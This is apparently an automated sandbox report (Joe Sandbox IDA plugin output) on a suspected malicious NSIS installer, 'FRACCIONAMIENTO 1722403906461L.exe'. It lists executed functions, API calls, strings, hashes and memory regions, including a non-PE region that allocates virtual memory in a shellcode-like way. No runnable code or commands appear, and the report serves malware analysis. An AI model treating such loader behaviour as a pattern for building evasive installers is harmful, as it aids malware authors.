Total number of Nodes:	1857
Total number of Limit Nodes:	46

Executed Functions

Function 00403640 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403663
GetVersionExW.KERNEL32(?), ref: 0040368C
GetVersionExW.KERNEL32(0000011C), ref: 004036A3
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
OleInitialize.OLE32(00000000), ref: 0040377D
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
CharNextW.USER32(00000000,"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" ,00000020,"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" ,00000000), ref: 004037E9
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 0040391C
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403939
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040394D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403955
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
DeleteFileW.KERNELBASE(1033), ref: 00403982
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403A69
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 00403A78

Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403A83
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" ,00000000,?), ref: 00403A8F
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
CopyFileW.KERNEL32(C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,00420F08,00000001), ref: 00403B21
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
OleUninitialize.OLE32(?), ref: 00403B71
ExitProcess.KERNEL32 ref: 00403B8B
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
ExitProcess.KERNEL32 ref: 00403C1F

Strings

1033, xrefs: 0040397D
TEMP, xrefs: 00403961
\Temp, xrefs: 00403933
C:\Users\user\AppData\Local\Temp\, xrefs: 00403911, 00403916, 0040392C, 00403938, 00403947, 00403954, 00403960, 00403968, 00403A66, 00403A77, 00403A82, 00403A8E, 00403A9F, 00403AAE, 00403B64
C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe, xrefs: 00403B1C
C:\Users\user\AppData\Local\Temp, xrefs: 00403901, 00403A30, 00403AB7, 00403AC1
Error launching installer, xrefs: 00403A12
UXTHEME, xrefs: 0040372E, 00403733, 00403739
"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" , xrefs: 004037B6, 004037BC, 004037D1, 004039A8, 004039B4, 00403A02, 00403A0C
C:\Users\user\Desktop, xrefs: 00403A88, 00403A8D, 00403AC0
Low, xrefs: 0040394F
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403659
.tmp, xrefs: 00403A7D
NSIS Error, xrefs: 004037A1
C:\Users\user\AppData\Local\Temp, xrefs: 00403A3B
SeShutdownPrivilege, xrefs: 00403BB4
~nsu, xrefs: 00403A61
TMP, xrefs: 00403969

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3859024572-3113063491
Opcode ID: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
Opcode Fuzzy Hash: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405809 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405867
GetDlgItem.USER32(?,000003EE), ref: 00405876
GetClientRect.USER32(?,?), ref: 004058B3
GetSystemMetrics.USER32(00000002), ref: 004058BA
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
ShowWindow.USER32(?,00000008), ref: 00405956
GetDlgItem.USER32(?,000003EC), ref: 00405977
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
GetDlgItem.USER32(?,000003F8), ref: 00405885

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

GetDlgItem.USER32(?,000003EC), ref: 004059C9
CreateThread.KERNEL32(00000000,00000000,Function_0000579D,00000000), ref: 004059D7
CloseHandle.KERNELBASE(00000000), ref: 004059DE
ShowWindow.USER32(00000000), ref: 00405A02
ShowWindow.USER32(?,00000008), ref: 00405A07
ShowWindow.USER32(00000008), ref: 00405A51
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
CreatePopupMenu.USER32 ref: 00405A96
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405AAA
GetWindowRect.USER32(?,?), ref: 00405ACA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
OpenClipboard.USER32(00000000), ref: 00405B2B
EmptyClipboard.USER32 ref: 00405B31
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
GlobalLock.KERNEL32(00000000), ref: 00405B47
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
SetClipboardData.USER32(0000000D,00000000), ref: 00405B86
CloseClipboard.USER32 ref: 00405B8C

Strings

H7B, xrefs: 00405AF7
{, xrefs: 00405A6F

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
Opcode Fuzzy Hash: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 71311BFF Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 713112BB: GlobalAlloc.KERNEL32(00000040,?,713112DB,?,7131137F,00000019,713111CA,-000000A0), ref: 713112C5

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 71311D2D
lstrcpyW.KERNEL32(00000008,?), ref: 71311D75
lstrcpyW.KERNEL32(00000808,?), ref: 71311D7F
GlobalFree.KERNEL32(00000000), ref: 71311D92
GlobalFree.KERNEL32(?), ref: 71311E74
GlobalFree.KERNEL32(?), ref: 71311E79
GlobalFree.KERNEL32(?), ref: 71311E7E
GlobalFree.KERNEL32(00000000), ref: 71312068
lstrcpyW.KERNEL32(?,?), ref: 71312222
GetModuleHandleW.KERNEL32(00000008), ref: 713122A1
LoadLibraryW.KERNELBASE(00000008), ref: 713122B2
GetProcAddress.KERNEL32(?,?), ref: 7131230C
lstrlenW.KERNEL32(00000808), ref: 71312326

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 0a183de6b4c1527b857acef6f60f62f88b4b628573396ad582149889d1f15546
Instruction ID: bdc5f716f458990bec4d2e278f49320ec9b5bb243da85495cf24b55f377d2622
Opcode Fuzzy Hash: 0a183de6b4c1527b857acef6f60f62f88b4b628573396ad582149889d1f15546
Instruction Fuzzy Hash: 8B22AE71D04A0BDEDB1ACFB4C580AEEBBB5FB08319F20462ED156E3188E7709585EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,769B3420,769B2EE0,00000000), ref: 00405D9D
lstrcatW.KERNEL32(00425750,\*.*), ref: 00405DE5
lstrcatW.KERNEL32(?,0040A014), ref: 00405E08
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,769B3420,769B2EE0,00000000), ref: 00405E0E
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,769B3420,769B2EE0,00000000), ref: 00405E1E
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
FindClose.KERNEL32(00000000), ref: 00405ECD

Strings

., xrefs: 00405E2F
PWB, xrefs: 00405DCD
., xrefs: 00405E43
\*.*, xrefs: 00405DDF

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$PWB$\*.*
API String ID: 2035342205-2468439962
Opcode ID: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
Opcode Fuzzy Hash: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE

Uniqueness

Uniqueness Score: -1.00%

Function 033D9749 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 429
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 033D8DE9: LoadLibraryA.KERNELBASE(?,378EE564,?,033CDA3E), ref: 033D8EAD

NtAllocateVirtualMemory.NTDLL ref: 033D9960

Strings

,,", xrefs: 033D9B11
u, xrefs: 033DA0B4
cAPZ, xrefs: 033D9F91

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID: ,,"$cAPZ$u
API String ID: 2616484454-3952376420
Opcode ID: 8abee296095bac3ba41d1fcca655a099ad15d40c3ef204311e2841085f1cb5d7
Instruction ID: 6c1a2be24d8f328a9998eb9f1d5cfc2ba7fcdeba9e8159cd1a1e2441fcacd74d
Opcode Fuzzy Hash: 8abee296095bac3ba41d1fcca655a099ad15d40c3ef204311e2841085f1cb5d7
Instruction Fuzzy Hash: D4F13072A49385DFCB31CE74EC853EAB7A9EF5A310F59052ECC898B210D7754A85CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 033D1C91 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

,WA, xrefs: 033CE479

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: ,WA
API String ID: 0-3995665511
Opcode ID: 3dbb212e23f52c9be429f5b6c05bd66d09358010cad36fcf6c849d6b30c140cf
Instruction ID: ea3302113fae321b7f9a9b6e77c6581179cd1d45949e6506acb5d26dfff5d6e6
Opcode Fuzzy Hash: 3dbb212e23f52c9be429f5b6c05bd66d09358010cad36fcf6c849d6b30c140cf
Instruction Fuzzy Hash: C15165B6A04385DFCB71DF79ECD47EABBAABF58210F55852ED849CB214D33089428B01

Uniqueness

Uniqueness Score: -1.00%

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(769B3420,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,769B3420,?,769B2EE0,00405D94,?,769B3420,769B2EE0), ref: 004069A9
FindClose.KERNEL32(00000000), ref: 004069B5

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC

Uniqueness

Uniqueness Score: -1.00%

Function 033D7ED6 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,085279B5,-6D6ADEB4,-508CF367), ref: 033D82CE

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1b0fe38d3786c9370af8b61503b90ab3961ea5aa823f56f7625703d3beb4d8f5
Instruction ID: 8e1339640ee00c9c57f1b7da31b479a255560c6d62d95da53d192919fc625222
Opcode Fuzzy Hash: 1b0fe38d3786c9370af8b61503b90ab3961ea5aa823f56f7625703d3beb4d8f5
Instruction Fuzzy Hash: 48212F33408341DFCB74CE68EDE96E7B6ADAF55200F46052F9D0BAFA40C3706A80CA06

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1358fc4729cd4e161e3f995057c9de5906a44dd4f8dff08d490623953bdc3ea8
Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
Opcode Fuzzy Hash: 1358fc4729cd4e161e3f995057c9de5906a44dd4f8dff08d490623953bdc3ea8
Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29

Uniqueness

Uniqueness Score: -1.00%

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
ShowWindow.USER32(?), ref: 00404121
GetWindowLongW.USER32(?,000000F0), ref: 00404133
ShowWindow.USER32(?,00000004), ref: 0040414C
DestroyWindow.USER32 ref: 00404160
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404179
GetDlgItem.USER32(?,?), ref: 00404198
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
IsWindowEnabled.USER32(00000000), ref: 004041B3
GetDlgItem.USER32(?,00000001), ref: 0040425E
GetDlgItem.USER32(?,00000002), ref: 00404268
SetClassLongW.USER32(?,000000F2,?), ref: 00404282
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
GetDlgItem.USER32(?,00000003), ref: 00404379
ShowWindow.USER32(00000000,?), ref: 0040439A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004043AC
EnableWindow.USER32(?,?), ref: 004043C7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
EnableMenuItem.USER32(00000000), ref: 004043E4
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
SetWindowTextW.USER32(?,00423748), ref: 0040444D
ShowWindow.USER32(?,0000000A), ref: 00404581

Strings

H7B, xrefs: 00404429

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B
API String ID: 121052019-2300413410
Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

lstrcatW.KERNEL32(1033,00423748), ref: 00403D98
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,769B3420), ref: 00403E18
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403E36
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp), ref: 00403E7F

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

RegisterClassW.USER32(00429200), ref: 00403EBC
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403ED4
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403F09
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403F6B
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403F78
RegisterClassW.USER32(00429200), ref: 00403F81
DialogBoxParamW.USER32(?,00000000,004040C5,00000000), ref: 00403FA0

Strings

1033, xrefs: 00403D37, 00403D93
.DEFAULT\Control Panel\International, xrefs: 00403D83
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D1C
.exe, xrefs: 00403E25
Control Panel\Desktop\ResourceLocale, xrefs: 00403D4B
C:\Users\user\AppData\Local\Temp, xrefs: 00403DA7, 00403DAF, 00403E52, 00403E58, 00403E68
H7B, xrefs: 00403D43
_Nb, xrefs: 00403E9B, 00403F03
RichEd32, xrefs: 00403F53
Call, xrefs: 00403DDF, 00403DE8, 00403DF6, 00403E45, 00403E4B
RichEd20, xrefs: 00403F45
RichEdit, xrefs: 00403F72
RichEdit20W, xrefs: 00403F63, 00403F69

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
